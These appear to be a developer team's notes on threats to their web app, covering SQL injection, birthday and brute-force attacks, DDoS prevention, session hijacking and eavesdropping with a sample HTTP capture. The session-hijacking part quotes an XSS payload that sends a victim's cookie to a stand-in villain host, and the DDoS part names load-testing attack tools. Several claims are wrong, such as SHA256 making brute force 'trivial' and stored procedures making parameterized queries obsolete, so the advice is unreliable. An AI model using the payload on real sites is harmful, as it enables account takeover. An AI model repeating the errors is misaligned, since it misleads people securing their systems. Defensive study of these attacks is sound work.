Cybersecurity Findings

DriveBy Cyber Attack:

3 Ways to protect your website from this:

1. Add an SSL certificate to your website.
2. Update your passwords often (not necessary for our case)
3. Set up 2-factor authentication (not necessary for our case)
4. Keep underlying software up-to-date
5. Set up web application firewall (WAF, gateway for incoming traffic) (subscription based)

SQL Injection:

Protection methods:

Create different users with different restricted privileges

Ex: Get() commands should use a user that can only return data

Using Stored Procedures

Calling GetCardBy(varchar(256) id); instead of a procedure that users can define

Using prepared statements with Parameterized Queries

This is what we have at the moment

NOTE: cannot have all 3, stored procedures makes ides of parameterized queries obsolete

Birthday Attack:

brute force attack on hash functions

Protection: using Sha256 makes brute force attacks trivial

Password attack: Guessing by brute force

Also lead to traffic: See DDOS attack

Denial of Service (DoS) and Distributed Denial of Service (DDoS) Attack:

- AT&T's Advice (https://cybersecurity.att.com/blogs/security-essentials/ddos-attack-prevention-protection-explained):
    1. Increase Bandwidth
    2. 24/7 Traffic Monitoring and Analysis
- 7 Ways to Prevent (https://phoenixnap.com/blog/prevent-ddos-attacks):
    1. Intrusion prevention and threat management systems, which combine firewalls, VPN, anti-spam, content filtering, load balancing
    2. Secure firewalls that allow little outside traffic
    3. Redundant network resources (i.e. multiple servers at different geographical locations)
    4. Utilize the Cloud (increased bandwidth, diffuse resources)
    5. Watch out for Warning Signs
- Microsoft's Advice (https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc750213(v=technet.10)?redirectedfrom=MSDN):
    1. Keep Physical Audit Trail of changes to the network

2. Perform system tests both locally and over the Internet
3. Beware of traitors on the inside

- 3 Strategies (https://www.youtube.com/watch?v=iydiAoiLP8A):
    1. Anomalous Behavior
        a. Monitor traffic patterns and use machine learning to identify outliers (memory rate, request rate)
    2. Distributed Attack Patterns
        a. Utilize machine learning to identify patterns and trends that would distinguish DDoS bots from real users
    3. IP Reputation
        a. Recognize Known DDoS bot networks and prevent access to the site
- Using **AWS**: https://www.youtube.com/watch?v=HnoZS5jj7pk
- Tools for Testing DoS Vulnerability (https://www.redlegg.com/blog/3-tools-to-test-denial-of-service-vulnerability):
    1. hping3
    2. HULK (Http Unbearable Load King)
    3. GoldenEye (DDoS attack testing tool)

Man-in-the-middle (MitM) attack

- Session hijacking (https://www.netsparker.com/blog/web-security/session-hijacking/)
    - The goal is the get the session cookie
        - Can be used to take over user's account
    - Cross-site script attack
        - `http://www.TrustedSearchEngine.com/search?<script>location.href='http://www.SecretVillainSite.com/hijacker.php?cookie='+document.cookie;</script>`
    - Session side jacking
        - Packet sniffing to monitor traffic
        - On http sites, open wifi networks, unsecure wifi hotspots, personal access points
    -

Eavesdropping attack

- On HTTP sites, Wireshark can capture all data sent/received on same network (localhost, Open Wifi?)

```
POST / HTTP/1.1
Content-Type: application/json
User-Agent: PostmanRuntime/7.26.8
Accept: */*
Cache-Control: no-cache
Postman-Token: ca7917b3-bc95-406b-b767-2dbeda5b9f32
Host: localhost:3000
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Length: 17

{"data":"mydata"}HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 16
ETag: W/"10-+HoqewB8XSfLooNv7GKla1Xoptg"
Date: Wed, 20 Jan 2021 18:13:25 GMT
Connection: keep-alive

{"value":"fdsa"}
```